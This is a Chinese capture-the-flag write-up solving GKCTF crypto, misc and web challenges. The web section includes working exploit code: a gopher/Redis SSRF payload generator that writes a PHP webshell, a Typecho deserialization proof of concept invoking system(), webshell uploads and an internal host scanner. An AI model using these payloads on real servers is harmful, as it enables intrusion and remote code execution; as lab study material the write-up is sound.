# 前言
通过 buuctf 平台复现一些之前的赛题
# Crypto
# 小学生的密码题
题目描述就这么多,简单的仿射加密
c=Ea,b(m)=am+b (mod 26) | |
m=Da,b(c)=a−1(c−b) (mod 26) |
根据题目描述,可得 a=11,b=6
import base64 | |
from gmpy2 import invert | |
m = 'welcylk' | |
a=11 | |
b=6 | |
c='' | |
k=26 | |
for i in range(len(m)): | |
c +=chr((((invert(a,k))*((ord(m[i])-97)-b))%26)+97) | |
print(c) | |
//sorcery |
# 汉字的秘密
王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫 |
当铺加密,很奇怪,当前汉字有多少笔画出头,就是转化成数字几,一一对应的
hz = "田口由中人工大土士王夫井羊壮" | |
sz = "00123455567899" | |
m = "王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫" | |
s = "" | |
for i in m: | |
if i in hz: | |
s += sz[hz.index(i)] | |
else: | |
s += ' ' | |
# print(s) | |
ll = s.split(" ") | |
print(ll) | |
s = '' | |
for i in range(len(ll)): | |
s += chr(int(ll[i])) | |
print(s) | |
#['69', '74', '62', '67', '118', '83', '72', '77', '86', '55', '71', '57', '82', '57', '64', '63', '51', '107'] | |
#EJ>CvSHMV7G9R9@?3k |
这里转化后,发现转为字符后不规律,这里即将前几个字符对应 flag 转换,是一个变异凯撒
hz = "田口由中人工大土士王夫井羊壮" | |
sz = "00123455567899" | |
m = "王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫" | |
s = "" | |
for i in m: | |
if i in hz: | |
s += sz[hz.index(i)] | |
else: | |
s += ' ' | |
# print(s) | |
ll = s.split(" ") | |
print(ll) | |
s = '' | |
for i in range(len(ll)): | |
s += chr(int(ll[i])+i+1) | |
print(s.lower()) | |
#['69', '74', '62', '67', '118', '83', '72', '77', '86', '55', '71', '57', '82', '57', '64', '63', '51', '107'] | |
#flag{you_are_good} |
# babycrypto
# n:0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005L | |
# e:65537 | |
# enc:1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361 | |
# p>>128<<128:0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000L |
拿到题后就是上面的内容,看起来是 RSA,20 年的题了现在可以直接分解出来这个 n,直接常规接 RSA 即可
from gmpy2 import * | |
import libnum | |
n = 22356763374676421464625378500213339933332772809897207920729779273423674391734609826525432054721219700275907299132471518921609327317193522567659631757746842030241874692914098354564311806192080734895649520789778880115460999713973202684541940857690744940359412410680906226760273075221532248260114209496048785258860756023841150910290983974843412361701517438220974722832625030127395031631696995777436058406987465592189873785392136925593708921923255186282515777996509326779993612528103615281644689464568237409082282767318227236298791238683706176542426759149262625349498709445342710799386836175120162674849965878446213480453 | |
e = 65537 | |
p = 139091353059018128421744751525080056530307965918298875691299992775484064426591581456998968315582349027071987206340653988925923465225471661893944397744293391269274124345189028818977002600599732469824164218366399726233373069742839737062004061244787413638290767590029376062508897417109117189614458570241407458359 | |
q = 160734387026849747944319274262095716650717626398118440194223452208652532694713113062084219512359968722796763029072117463281356654614167941930993838521563406258263299846297499190884495560744873319814150988520868951045961906000066805136724505347218275230562125457122462589771119429631727404626489634314291445667 | |
c = 1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361 | |
N = (p-1)*(q-1) | |
d = invert(e,N) | |
m = pow(c,d,n) | |
print(libnum.n2s(int(m))) | |
//b'flag{3d0914a1-1e97-4822-a745-c7e20c5179b9}' |
# Backdoor
这个题下载后给了三个文件
题目名叫后门,给了一个公式弱素数生成公式
flag.enc
MDIxNDJhZjdjZTcwZmUwZGRhZTExNmJiN2U5NjI2MDI3NGVlOTI1MmE4Y2I1MjhlN2ZkZDI5ODA5YzJhNjAzMjcyN2MwNTUyNjEzM2FlNDYxMGVkOTQ0NTcyZmYxYWJmY2QwYjE3YWEyMmVmNDRhMg== |
这个值解 base64 之后转 10 进制
59021026099361835300364130419492050160728561849475961557849334226894382166900594987062873888829896738392942368210302613981217873768 |
pub.pem
-----BEGIN PUBLIC KEY----- | |
MFMwDQYJKoZIhvcNAQEBBQADQgAwPwI4BXdHlrMB4cf0C0lFBWiLH94h9tX/zmNv | |
8WfYXjfXp7dJPjPBfUQXolyiSmcWMUzxhuFpltz8Z5sCAwEAAQ== | |
-----END PUBLIC KEY----- |
task.py
#!/usr/bin/python | |
from Crypto.Util.number import * | |
from Crypto.PublicKey import RSA | |
import gmpy2, binascii | |
import base64 | |
from FLAG import flag | |
def rsa_encrypt(message): | |
with open('./pub.pem' ,'r') as f: | |
key = RSA.import_key(f.read()) | |
e = key.e | |
n = key.n | |
c = pow(bytes_to_long(flag), e, n) | |
ciphertext = binascii.hexlify(long_to_bytes(c)) | |
return ciphertext | |
if __name__ == "__main__": | |
text = base64.b64encode(rsa_encrypt(flag)) | |
with open('flag.enc','wb') as f: | |
f.write(text) |
google 后发现是 CVE-2017-15361,那么爱沙尼亚身份证系统和 TPM 的问题是什么?弱素数生成器(和 RSA! | 作者:比尔・布坎南教授 OBE |A 安全网站:当鲍勃遇见爱丽丝 | 中等 (medium.com)
弱素数生成器 (RSALib) (asecuritysite.com)
其中 k 和 a 是破解时的未知整数。M 是前 n 个素数的乘法。
n 的素数因子 p 是由这个公式得出的
from Crypto.Util import number | |
k=3 | |
vals=39 | |
a=12 | |
M=1 | |
primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997, 1009, 1013, 1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069, 1087, 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151, 1153, 1163, 1171, 1181, 1187, 1193, 1201, 1213, 1217, 1223, 1229, 1231, 1237, 1249, 1259, 1277, 1279, 1283, 1289, 1291, 1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373, 1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451, 1453, 1459, 1471, 1481, 1483, 1487, 1489, 1493, 1499, 1511, 1523, 1531, 1543, 1549, 1553, 1559, 1567, 1571, 1579, 1583, 1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, 1657, 1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733, 1741, 1747, 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811, 1823, 1831, 1847, 1861, 1867, 1871, 1873, 1877, 1879, 1889, 1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, 1979, 1987, 1993, 1997, 1999, 2003, 2011, 2017, 2027, 2029, 2039, 2053, 2063, 2069, 2081, 2083, 2087, 2089, 2099, 2111, 2113, 2129, 2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, 2213, 2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287, 2293, 2297, 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357, 2371, 2377, 2381, 2383, 2389, 2393, 2399, 2411, 2417, 2423, 2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, 2521, 2531, 2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617, 2621, 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687, 2689, 2693, 2699, 2707, 2711, 2713, 2719, 2729, 2731, 2741, 2749, 2753, 2767, 2777, 2789, 2791, 2797, 2801, 2803, 2819, 2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903, 2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999] | |
for x in range(0, vals): | |
M=M*primes[x] | |
p=k*M+(65537**a %M) | |
print('k=',k) | |
print('a=',a) | |
print('Number of prime numbers used=',vals) | |
print('======') | |
print('M=',M) | |
print('\nPrime=',p) | |
isp = number.isPrime(p) | |
if (isp==1): | |
print('Value is prime') | |
else: | |
print('Value is not prime') |
通过 pub.pwm 来获取 e 和 n
with open('./pub.pem' ,'r') as f: | |
key = RSA.import_key(f.read()) | |
e = key.e | |
n = key.n | |
#e=65535 | |
#n=15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739 |
这里的 n 是 134 位,预估 p 的位数不超过 134/2=67 位,M 代表前 x 项素数的乘积, x 的可选值有 5,16,39,71,80,126。在参数 k 与 a 取值不大的情况下,选取不同的 x 值,得到的 p 的位数不同。
这里爆破一下求得 pq
import gmpy2
M=962947420735983927056946215901134429196419130606213075415963491270
n=15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739
for k in range(100):
for a in range(100):
p=k*M+(65537**a %M)
if n%p==0:
print('k=',k)
print('a=',a)
print('Prime=',p)
isp = gmpy2.is_prime(p)
from gmpy2 import * | |
import libnum | |
n = 15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739 | |
e = 65537 | |
p = 3386619977051114637303328519173627165817832179845212640767197001941 | |
q = 4582433561127855310805294456657993281782662645116543024537051682479 | |
c = int("02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2",16) | |
N = (p-1)*(q-1) | |
d = invert(e,N) | |
m = pow(c,d,n) | |
# print(d) | |
print(libnum.n2s(int(m))) | |
#b'flag{760958c9-cca9-458b-9cbe-ea07aa1668e4}' |
# Misc
# Pokémon
Visual Boy Advance (emulator-zone.com)
玩这个游戏,到 103 号路口就行,纯娱乐
# code obfuscation
将图片拉伸一下
补一下这个图
这里用 binwalk -e 分解后得到一个 rar
将上面 gkctf 进行 base58 编码后可以打开压缩包
打开后图片内容
$Bn$Ai$An$Ac$Al$Au$Ad$Ae$Bk$Cc$As$At$Ad$Ai$Ao$By$Ah$Ce | |
$Ai$An$At$Bk$Am$Aa$Ai$Bs$Bt$Cn | |
$Ap$Ar$Ai$An$At$Bs$Bm$Aw$Dd$Al$Ac$Da$Am$Ae$Cl$De$Ao$Cl$Dj$Ak$Ac$At$Df$Bm$Bt$Cb | |
$Ar$Ae$At$Au$Ar$An$Bk$Da$Cb | |
$Cp |
1 文件内容
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('15 n 14 a b c d e f g h i j k l m n o p q r s t u v w x y z 10 11 17="n"12 15 n 14 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 10 11 17="n"12 13=0 15 n 14 a b c d e f g h i j 10 11 16="n"13=$((13+1))12 1g("1f=\' \';1e=\'"\';16=\'#\';1j=\'(\';1i=\')\';1h=\'.\';1a=\';\';19=\'<\';18=\'>\';1d=\'1c\';1b=\'{\';1k=\'}\';1t=\'0\';1u=\'1\';1s=\'2\';1r=\'3\';1n=\'4\';1m=\'5\';1l=\'6\';1q=\'7\';1p=\'8\';1o=\'9\';")',62,93,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||do|eval|done|num|in|for|Bn|An|Ce|Cc|Cb|Cn|_|Cl|Bm|Bk|alert|By|Bt|Bs|Cp|Dg|Df|De|Dj|Di|Dh|Dd|Dc|Da|Db'.split('|'),0,{})) |
这里用的是网上找到的脚本
import string | |
s = "$Bn$Ai$An$Ac$Al$Au$Ad$Ae$Bk$Cc$As$At$Ad$Ai$Ao$By$Ah$Ce$Ai$An$At$Bk$Am$Aa$Ai$An$Bs$Bt$Cn$Ap$Ar$Ai$An$At$Bs$Bm$Aw$Dd$Al$Ac$Da$Am$Ae$Cl$De$Ao$Cl$Dj$Ak$Ac$At$Df$Bm$Bt$Cb$Ar$Ae$At$Au$Ar$An$Bk$Da$Cb$Cp" | |
ll = s.split('$') | |
list1 = ['Bk','Bm','Bn','Bs','Bt','By','Cb','Cc','Ce','Cl','Cn','Cp', | |
'Da','Db','Dc','Dd','De','Df','Dg','Dh','Di','Dj'] | |
list2 = [' ','"','#','(',')','.','','<','>','_','{','}','0','1','2','3','4','5','6','7','8','9'] | |
list3 = [] | |
list4 = [] | |
s = string.ascii_lowercase | |
for i in s: | |
list3.append('A%s'%i) | |
list4.append(i) | |
#print(list3,'\n',list4) | |
t = '' | |
for i in range(0,len(ll)): | |
for j in range(0,len(list1)): | |
if ll[i]==list1[j]: | |
t += list2[j] | |
for k in range(0,len(list3)): | |
if ll[i]==list3[k]: | |
t +=list4[k] | |
print(t) | |
#include <stdio.h>int main(){print("w3lc0me_4o_9kct5")return 0} |
# Harley Quinn
这题放了两个 hint,看起来当时开始的时候做出来的人还是不多的
音频到结尾部分,有电话音的声音,用工具 dtmf2num 进行破解:
#22283334447777338866#
对应 9 建
ctfisfun |
根据提示使用 FreeFileCamouflage 破解
# Sail a boat down the river
三解,三个 hint,当时的题还是很绕的
Hint: | |
闪烁的光芒 | |
是一行不是一列 | |
加密方式很常见 |
根据提示在 118帧-130帧
、 200帧-208帧
、 320帧-334帧
、 410帧-418帧
刷卡器出现闪光,摩斯密码
-.-- .-- ---.. --.
解出得 yw8g
在 15 秒看到一张二维码
https://pan.baidu.com/s/1tygt0Nm_G5fTfVFlgxVcrQ
输入上面得到的密码
密钥解熟读,然后根据排序即可得到: 52693795149137
解密得到 GG0kc.tf
使用 Overture
打开得到 flag
# Web
# CheckIN
<title>Check_In</title> | |
<?php | |
highlight_file(__FILE__); | |
class ClassName | |
{ | |
public $code = null; | |
public $decode = null; | |
function __construct() | |
{ | |
$this->code = @$this->x()['Ginkgo']; | |
$this->decode = @base64_decode( $this->code ); | |
@Eval($this->decode); | |
} | |
public function x() | |
{ | |
return $_REQUEST; | |
} | |
} | |
new ClassName(); |
这里可以看到,源码很简单,接受参数,base64 解码后 eval 执行,先尝试 phpinfo ()
能够正常执行,但是看到在环境变量中过滤了很多函数
没有过滤 eval 函数,尝试构造木马用蚁剑连接后,发现不能正常运行命令,使用插件绕过
# 老八小超市儿
发现是 shopXO 电商系统,基于 thinkphp 开发的,去搜 CVE (71 条消息) shopxo 文件读取(CNVD-2021-15822)_xzhome 的博客 - CSDN 博客
这里直接用 poc 读取跟目录下面的 flag
提示 flag 在 root 下面尝试读取发现 return 500 估计是权限问题,看来还得找别的 cve,看了下版本是 1.8
渗透测试 | shopxo 后台全版本获取 shell 复现 - 腾讯云开发者社区 - 腾讯云 (tencent.com) 这里看到需要先登录,尝试发现没有改默认密码
这里直接搜索主题
下载后添加一句话木马
再上传回去
这里直接添加
用蚂蚁剑连接上后确实访问不了这个 root 目录
看到根目录还有一个 hint
又看到 auto.sh
没 60 秒刷新一次,那修改一下这个脚本就可以了
然后去读 flag.hint 就可以了
# cve 版签到
cve 编号有了,看来简单复现一下就行 [代码审计] CVE-2020-7066 漏洞复现 - Ky1226 - 博客园 (cnblogs.com)
简答来说 get_headers () 会截断 URL 中空字符后的内容
点击后多了一个 url
看起来是 SSRF,通过 %00 截断然后访问本地 ip
要以 123 结尾
# EZ 三剑客 - EzNode
看到首页
版本
{ | |
"name": "src", | |
"version": "1.0.0", | |
"main": "index.js", | |
"license": "MIT", | |
"dependencies": { | |
"body-parser": "1.19.0", | |
"express": "4.17.1", | |
"safer-eval": "1.3.6" | |
} | |
} |
源码
const express = require('express'); | |
const bodyParser = require('body-parser'); | |
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库 | |
const fs = require('fs'); | |
const app = express(); | |
app.use(bodyParser.urlencoded({ extended: false })); | |
app.use(bodyParser.json()); | |
// 2020.1/WORKER2 老板说为了后期方便优化 | |
app.use((req, res, next) => { | |
if (req.path === '/eval') { | |
let delay = 60 * 1000; | |
console.log(delay); | |
if (Number.isInteger(parseInt(req.query.delay))) { | |
delay = Math.max(delay, parseInt(req.query.delay)); | |
} | |
const t = setTimeout(() => next(), delay); | |
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我 p 事 | |
setTimeout(() => { | |
clearTimeout(t); | |
console.log('timeout'); | |
try { | |
res.send('Timeout!'); | |
} catch (e) { | |
} | |
}, 1000); | |
} else { | |
next(); | |
} | |
}); | |
app.post('/eval', function (req, res) { | |
let response = ''; | |
if (req.body.e) { | |
try { | |
response = saferEval(req.body.e); | |
} catch (e) { | |
response = 'Wrong Wrong Wrong!!!!'; | |
} | |
} | |
res.send(String(response)); | |
}); | |
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算 KPI | |
app.get('/source', function (req, res) { | |
res.set('Content-Type', 'text/javascript;charset=utf-8'); | |
res.send(fs.readFileSync('./index.js')); | |
}); | |
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口 | |
app.get('/version', function (req, res) { | |
res.set('Content-Type', 'text/json;charset=utf-8'); | |
res.send(fs.readFileSync('./package.json')); | |
}); | |
app.get('/', function (req, res) { | |
res.set('Content-Type', 'text/html;charset=utf-8'); | |
res.send(fs.readFileSync('./index.html')) | |
}) | |
app.listen(80, '0.0.0.0', () => { | |
console.log('Start listening') | |
}); |
后面的部分都在首页面给出了,题目的核心在两个 eval 路由上,先看第一个
app.use((req, res, next) => { | |
// 如果请求路径为 '/eval' | |
if (req.path === '/eval') { | |
// 设置延迟时间为 60 秒 | |
let delay = 60 * 1000; | |
console.log(delay); | |
// 如果请求参数中有 delay 参数,则将延迟时间设置为 delay 参数的值和当前延迟时间的最大值 | |
if (Number.isInteger(parseInt(req.query.delay))) { | |
delay = Math.max(delay, parseInt(req.query.delay)); | |
} | |
// 设置一个定时器,延迟时间到期后执行 next () 函数 | |
const t = setTimeout(() => next(), delay); | |
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我 p 事 | |
// 如果延迟时间过长,设置一个 1 秒的定时器,到期后清除之前设置的定时器,并返回 'Timeout!' 字符串 | |
setTimeout(() => { | |
clearTimeout(t); | |
console.log('timeout'); | |
try { | |
res.send('Timeout!'); | |
} catch (e) { | |
} | |
}, 1000); | |
} else { | |
// 如果请求路径不为 '/eval',则执行 next () 函数 | |
next(); | |
} | |
}); |
简答来说就是通过 /eval?delay=
上传一个数字并和 60000 比较,大的赋值给 delay
浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647秒(24.8天)。只要大于2147483647,就会发生溢出 |
根据版本找到一个 cveBreakout · Issue #10 · commenthol/safer-eval (github.com),直接用就行
# EZ 三剑客 - EzWeb
看源码有一个 get 传参
访问
给了网卡信息,在前段输入 www.baidu.com, 可以访问到这个页面。又是一个 ssrf
不让访问 127.0.0.1 但是可以使用真实 ip
尝试使用 file 读文件 file 协议被过滤了,尝试通过 file:/ 或者 file: // 去绕过
<?php | |
function curl($url){ | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
echo curl_exec($ch); | |
curl_close($ch); | |
} | |
if(isset($_GET['submit'])){ | |
$url = $_GET['url']; | |
//echo $url."\n"; | |
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match)) | |
{ | |
//var_dump($match); | |
die('别这样'); | |
} | |
curl($url); | |
} | |
if(isset($_GET['secret'])){ | |
system('ifconfig'); | |
} | |
?> |
过滤了 file://、dict、127.0.0.1、localhost,还能使用 gopher 协议和 http 协议
先使用 http 服务探测存活主机,这里用 burp 的探测会卡住,简单的用 python 判断
import requests | |
import time | |
url = "http://d3edfd3a-f06a-42ad-9bf4-fb994618272a.node4.buuoj.cn:81/index.php" | |
for i in range(255): | |
getdata = "?url=http://10.244.80."+str(i)+"&submit=%E6%8F%90%E4%BA%A4" | |
urs_l = url + getdata | |
# print(urs_l) | |
try: | |
re = requests.get(urs_l,timeout=1) | |
print(re) | |
except requests.exceptions.RequestException: | |
print("失败 "+str(i)) | |
pass | |
time.sleep(1) |
接着扫描端口,6379 端口是开放的,有 redis 服务,gopher 打 ssrf,redis 的未授权访问漏洞,这里贴一下网上找到的 python2 的脚本这里改一下用 python3 跑
# 导入 quote 函数 | |
from urllib.parse import quote | |
# 定义协议、IP、端口、要写入的 PHP 代码、文件名、路径、密码、命令列表 | |
protocol = "gopher://" | |
ip = "10.244.80.203" | |
port = "6379" | |
shell = "\n\n<?php system(\"cat /flag\");?>\n\n" | |
filename = "1.php" | |
path = "/var/www/html" | |
passwd = "" | |
cmd = ["flushall", # 清空 Redis 数据库 | |
"set 1 {}".format(shell.replace(" ", "${IFS}")), # 将 PHP 代码写入 Redis 中 | |
"config set dir {}".format(path), # 设置 Redis 工作目录 | |
"config set dbfilename {}".format(filename), # 设置 Redis 数据库文件名 | |
"save" # 将 Redis 数据库保存到磁盘中 | |
] | |
# 如果设置了密码,将 AUTH 命令添加到命令列表中 | |
if passwd: | |
cmd.insert(0, "AUTH {}".format(passwd)) | |
# 拼接 payload | |
payload = protocol + ip + ":" + port + "/_" | |
# 定义 redis_format 函数,将命令转换为 Redis 格式 | |
def redis_format(arr): | |
CRLF = "\r\n" | |
redis_arr = arr.split(" ") | |
cmd = "" | |
cmd += "*" + str(len(redis_arr)) | |
for x in redis_arr: | |
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ") | |
cmd += CRLF | |
return cmd | |
# 将每个命令转换为 Redis 格式,并拼接到 payload 中 | |
if __name__ == "__main__": | |
for x in cmd: | |
payload += quote(redis_format(x)) | |
print(payload) | |
#gopher://10.244.80.203:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%245%0D%0A1.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A |
访问木马文件就能拿到 flag
# EZ 三剑客 - EzTypecho
直接去找 Typecho 的 cve,看到是有反序列化漏洞的 Typecho 前台 getshell 漏洞分析 (seebug.org)
这个直接用网上的 poc 打就行
<?php | |
class Typecho_Request | |
{ | |
private $_params = array(); | |
private $_filter = array(); | |
public function __construct() | |
{ | |
$this->_params['screenName'] = 'ls /'; | |
//$this->_params['screenName'] = -1; | |
$this->_filter[0] = 'system'; | |
} | |
} | |
class Typecho_Feed | |
{ | |
const RSS2 = 'RSS 2.0'; | |
/** 定义 ATOM 1.0 类型 */ | |
const ATOM1 = 'ATOM 1.0'; | |
/** 定义 RSS 时间格式 */ | |
const DATE_RFC822 = 'r'; | |
/** 定义 ATOM 时间格式 */ | |
const DATE_W3CDTF = 'c'; | |
/** 定义行结束符 */ | |
const EOL = "\n"; | |
private $_type; | |
private $_items = array(); | |
public $dateFormat; | |
public function __construct() | |
{ | |
$this->_type = self::RSS2; | |
$item['link'] = '1'; | |
$item['title'] = '2'; | |
$item['date'] = 1507720298; | |
$item['author'] = new Typecho_Request(); | |
$item['category'] = array(new Typecho_Request()); | |
$this->_items[0] = $item; | |
} | |
} | |
$x = new Typecho_Feed(); | |
$a = array( | |
'host' => 'localhost', | |
'user' => 'xxxxxx', | |
'charset' => 'utf8', | |
'port' => '3306', | |
'database' => 'typecho', | |
'adapter' => $x, | |
'prefix' => 'typecho_' | |
); | |
echo urlencode(base64_encode(serialize($a))); | |
?> |